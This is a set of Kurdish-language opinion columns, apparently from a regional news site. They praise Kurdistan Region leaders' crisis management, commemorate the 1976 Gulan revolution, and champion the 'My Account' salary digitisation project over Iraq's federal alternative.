د ڤان نههــ ـ دههــ سالێن داویێ دا ههرێما كوردستانێ كهفته بهر ژمارهكا پێلێن دژوار یێن سیاسى و ئابوورى، راسته پڕانیا ڤان پێلان ل دهرڤهى ههرێما كوردستانێ ب مهرهم دهاتنه ئاراستهكرن، لێ كاریگهریێن نهرێنى لسهر ئاستێ پهیوهندیێن ناڤخۆیى و ئیدارهدانا ههرێمێ ژى كرن، چونكى هندهك ئالیێن سیاسى یێن كوردستانێ پێ د گرنژین، ڤان كاریگهریا وهكر رهوشا ئابووریا كوردستانێ بتایبهت دانا مووچهى سست و لهنگهر ببیت، ژلایهكێ دیتر دهستێن وهلاتهكێ ههرێمى ب زیقى هاته د ناڤ پرسێ و بوویه ئهگهرێ لاوازبوونا پهیوهندیێن د ناڤبهرا ههردو ئالیان و هندهك جاران گههشته ئاستێ لێدانا ههرێما كوردستانێ ب مۆشهك و دڕۆنان.
ڤێ رهوشێ گڤاشهكا زۆرا دژوار یا سیاسى و ئابوورى لسهر ئاستێ ههرێمایهتى و ناڤخۆیى لسهر ههرێما كوردستانێ دروستكرن، ئهگهر خودان سهركردهیێن خۆڕاگر و دووربین نهبان ڕهنگه ڕهوش بهرهڤ ئالۆزیهكا زۆرا مهزن چووبا، لێ سهرۆك نێچیرڤان بارزانى سهرۆكێ ههرێما كوردستانێ و سهرۆك مهسرۆر بارزانى سهرۆكێ حوكمهتا ههرێما كوردستانێ، وهكى دو سهركردهیێن دووربین و خهمخۆر ئاراستهیێن چارهسهریێ و خۆڕاگریێ گرتن، ل دهمهكێ كێم دا شیان پیلان و بهرنامێ نهیاران بههلوهشینن و ژلایهكێ دیتر شییان پلانێن خوه یێن كورتبین و دووربین بۆ بهێزتركرنا ههرێما كوردستانێ بچهسپینن، ههردو سهرۆك ب ڤان ئاراستهیان شییان ل گهل دهولهت و حوكمهت و ئالیێن سیاسى یێن ئیراقێ بگههنهك ئهنجامهكێ باش یێ چارهسهریێ، كو چ ئالى زیانبهخش نهبن، یا ژ ههمیێ گرنگتر ب سیاسهتا ڤان ههردو سهرۆكان، دهولهتا ئیراقێ نهشییا مهرامێن خوه یێن نه دهستوورى لسهر ههرێما كوردستانێ بسهپینیت، بهلكى ههردهم داكۆكى لسهر چارهسهریێن د چارچووڤهیێ دهستوورى دكرن، لسهر ئاستێ ناڤخوهیى ژى بتایبهت پرسا ههلبژارتنێن پهرلهمانى كو مهترسیهكا زۆر لسهر ههبوو، ههتا راددهیهكێ هاتیه چارهسهركرن و چ مهترسى لسهر نهمانه، لسهر ئاستێ پهیوهندیێن دبلۆماسى ل گهل وهلاتێن جیران، كۆ كاكلكا سهقامگیریێ و ڤهژاندنێ نه، پێشڤهچوونێن زۆر ئهرێنى ههنه بتایبهت پشتى سهرهدانا شاندێن بلندێن دناڤبهرا ههردوو لایهنان دا.
گاڤێن ڤان ههردو سهرۆكان بۆ ئاراستهیێ چارهسهریێ بهێزتركرنا ههرێما كوردستانێ گاڤێن پیرۆز و پێدڤى بوون و پێدڤى ب بهردهوامبوونێ ههیه بۆ گههشتن ب ئهوا خهلكێ كوردستانێ دڤێت، وهك ئارامى و سهقامگیرى و ڤهژاندنا ئابوورى ل ههرێما كوردستانێ.
گۆلان ڤهژاندنا ههستا نهتهواتیێ بوو
غیاس خالد زێبارى
شۆڕشا گولانێ ئهو شۆڕشا كوردستانى بوو ئهوا بوویه جهێ حێبهتیا دۆست و دوژمنان، چونكى پشتى پیلانهكا مهزن یا نیڤدهولهتى دژى بزاڤا رزگاریخوازیا كوردستانى و شۆڕشا مهزنا ئیلۆنێ ب سهرپهرشتیا پارتى دیموكراتى كوردستان و رێبهریا نهمر مهلا مستهفایێ بارزانى هاته بهرپاكرن، چونكى وان شییا پشتى نهه سالێن شۆڕشا ئیلۆنێ (1961 ـــ 1970) سهركهفتنێن مهزن تۆمار بكهن بۆ بدهستڤهئینانا ماف و ئارمانجێن خهلكێ كوردستانێ، یا ژ ههمیان مهزنتر و پڕ دهستكهفتتر رێكهفتنا دیرۆكیا 11 ئادارا سالا 1970 یێ بوو، كودانپێدهكا فهرمى بوو ب مافێن خهلكێ كوردستانێ ل باشوور.
ژبهر ڤان سهركهفتنان دوژمنێن كوردستانێ بتایبهت رژێما وى سهردهمى یا ئیراقێ هزرهكا مهزن ل پارتى و شۆرشا ئیلۆنێ كر، لهوما پهنا بره بهر رێكهفتنهكا نیڤدهولهتى ل گهل رژێما شاهنشاهیا ئیرانێ و ب چاڤدێریا هندهك وهلاتێن ههرێمى ل 5 ێ ئادارا 1975 ئهو رێكهفتنا خیانهتكارى ل جهزائیر هاته واژووكرن. ژبهر هێز و مهزناهیا وێ رێكهفتنێ بهرامبهر پارتى و بزاڤا رزگاریخوازیا كوردستانى رژێما ئیراقێ و ههڤسۆزێن وان د وێ باوهریێ دابوون كۆ بۆ ههتا ههتا چریسكا شۆرشا كوردستانى هاته ڤهمراندن و چ دۆز بناڤێ دۆزا كوردان نهمان، لێ هێز و ئیرادا خهلكێ شۆرشگێرێن كورد ب سهرپهرشتیا رێبهرێ گهلێ كورد نهمر مستهفا بارزانى و پارتى دیموكراتى كوردستان ههمى بۆچوونێن وان بهروڤاژى كرن و پشتى خوه رێكخستنهڤێ ژلایێ رێكخستنێ و لهشكرى و سیاسى ل 26 ێ گولانا سالا 1976 ب شێوازهكێ رێكخستیتر و سهردهمانهتر شۆرشێ دهسپێكرهڤه و ل دهمهكێ زوو داستان و سهركهفتنێن مهزن تۆماركرن و ژلایێ رێكخستنێ ژى چالاكیێن پارتایهتى گههشتنه د ناڤ جهرگێ دوژمنى. شۆرشا گولانێ نه تنێ شۆڕشهكا چهكدارى بوو، بهلكى شۆرشهكا پهروهردهیى و پێگههاندنێ بوو ژلایێ نشتیمان پهروهریێ و نهتهوایهتیێ و گیانێ شۆڕشگێریێ وخۆڕاگریێ، كو بوونه هێڤێنێ سهركهفتنێ ب سهرپهرشتیا سهرۆك مهسعورد بارزانى و رێنمایى یێن بارزانیێ نهمر.
راسته شۆڕشا گولانێ وهكى شۆڕشهكا چهكدارى پشتى سهرههلدانا پیرۆزا سالا 1991 بداوى هات، لێ ههست و هزر و رهوشت و كوردایهتیا شۆڕشا گولانێ ههتا ئهڤرۆ یا بهردهوامه، چونكى شۆڕشا گولانێ خۆڕاگرى و رێكخستن و پهروهردهیى و داكۆكیكرن بوو لسهر ماف و ئارمانجێن خهلكێ كوردستانێ ب ههمى پێكهات ڤه و ئهڤرۆ ژى پارتى دیموكراتى كوردستان ب رێبهریا سهرۆك بارزانى لسهر ههمان پڕهنسیپ داكۆكیكارا ماف و ئارمانج و داخوازیێن خهلكێ كوردستانێ یه، لهوما ب پشتراستى دبێژین خهتیرا شۆڕشا گولانێ ههرا گهش و برسقى یه.
(هژمارا من) و (هژمارا ته)
غیاس خالد زێبارى
ل ڤى سهردهمى تهكنهلۆژیایا پێشكهفتى ههمى سیكتهرێن ڕێڤهچوونا كارگێریێ پاوان كرینه و بوویه پشكهك ل ژیانا مرۆڤان، كهرتێ بانكى و سیستهمێ دارایى ژى زۆر ب زیقى كهفتیه بن كاریگهریا ڤى سیستهمى و بوویه ئهگهرێ ئاسانكاریێن زۆر بۆ وهلاتیان.
حوكمهتا ههرێما كوردستانێ ب تایبهت كابینهیا نههێ ب سهرۆكاتیا مهسروور بارزانى گرنگیهكا زۆر ب دیجیتالكرنا سازیێن حوكمهتێ دایه نهخاسمه كهرتێ بانكى، بۆ ڤێ چهندێ دهمێ زێدهتر ژ سالهكێ یه پرۆژهیێ دیجیتالكرنا مووچهیێ وهلاتییان بناڤێ (هژمارا من)
هاتیه راگههاندن و كارهكێ باش لسهر هاتیهكرن . ههبوونا پرۆژهیهكێ ب ڤى رهنگی خزمهتهكا زۆر دگههینته وهلاتى و مووچهخۆرێن كوردستانێ وكارئاسانیێن زۆر دكهت، ژلایهكێ دیتر فاكتهرهكێ كاریگهر و ئهرێنى یه بۆ سهرگرتنا پرۆژهیهكێ چاكسازى د ناڤ مووچهخۆرێن كوردستانێ كو چهندین ساله گازندهكا زۆر ل سهر ههى، نهخاسمه نههێلانا ئهوێن زێدهتر ل مووچهیهكێ وهردگرن، چهندین خزمهتگوزاریێن دیتر ژی د ناڤدا ههنه وهكى وهرگرتنا قهرا و پێشینهیێن بچویك و ساناهیكرنا كڕین و فرۆتنێ و..هتد. دشێین بێژین پرۆژهیێ (هژمارا من) پرۆژهكێ نشتیمانیێ ئابوورى و دارایى و چاكسازى و بازرگانى و خزمهتگوزارى یه.
بهرامبهر ڤێ چهندێ حوكمهتا فیدرال یا ئیراقێ ژى گاڤێن ب ڤى رهنگى هاڤێتینه و پرۆژهیێ نشتیمانیكرنا مووچهی(تهوتین) راگههاندى یه، ئهڤه ژى جهێ دهستخۆشیێ یه، ههرچهنده پڕانیا خهلكێ كوردستانێ ب ههبوونا پرۆژهیێ هژمارا من دلخۆش بوویه و جهێ دهستخۆشیێ یه، لێ هندهك ئالیێن كوردستانێ جهێ دهستخۆشیێ ل كابینهیا نههێ بكهن لسهر ڤى پرۆژهیێ مهزن و پێدڤى و كاریگهر، ههوهكا راگههاندنێ و جهماوهرى بۆ نهشرینكرن و سهرنهگرتنا پرۆژهیێ هژمارا من بهرپا كریه، بهرامبهر وێ داخوازا پرۆژهیێ تهوتینا ئیراقێ دكهن..! ههرچهنده بابهت پرۆژهیهكێ دارایى و ئابوورى و چاكسازىێ حوكمهتێ یه، لێ وان ئالییان كریه بابهتهكێ سیاسى و بۆ ڤهشارتنا گهندهلى و كارێن خوه یێن نه قانوونی، دڤێت هژمارا من سهر نهگریت و مینا زۆر رهفتار و سهرهدهریێن خوه پهنا بۆ پرۆژهیێن دهرڤهى چارچۆڤێ كوردایهتیێ بریه. پێدڤیه خهلك و مووچهخۆرێن كوردستانێ ڤێ راستیێ بزانن و بۆ ههر پلان و بهرنامهیهكى، لایهنێ كوردایهتیێ و نهتهوایهتیێ ههلبژێرن، ههر پرۆژهیهكێ دهرڤهى كوردستانێ دهێته دارشتن خزمهتا كوردستانیان ناكهت و پرۆژهیێ (هژمارا من) پرۆژهیهكێ نشتیمانی یه بۆ خزمهتا خهلكێ كوردستانێ، تهوتینا ئیراقێ پرۆژهیێ وان پیلانگێرایه ئهوێن خهلكێ كوردستانێ برسى دكهن و ناگههته ركێبهكا پرۆژهیێ (هژمارا من)، ئهوێن دژایهتیێ لێ دكهن بهرژهوهندیێن تایبهت ههنه و خهما وان پاراستنا بهرژهوهندیێن خوهیه نهك بهرژهوهندیێن خهلكێ كوردستانێ.
WP Facebook Auto Publish Powered By : XYZScripts.com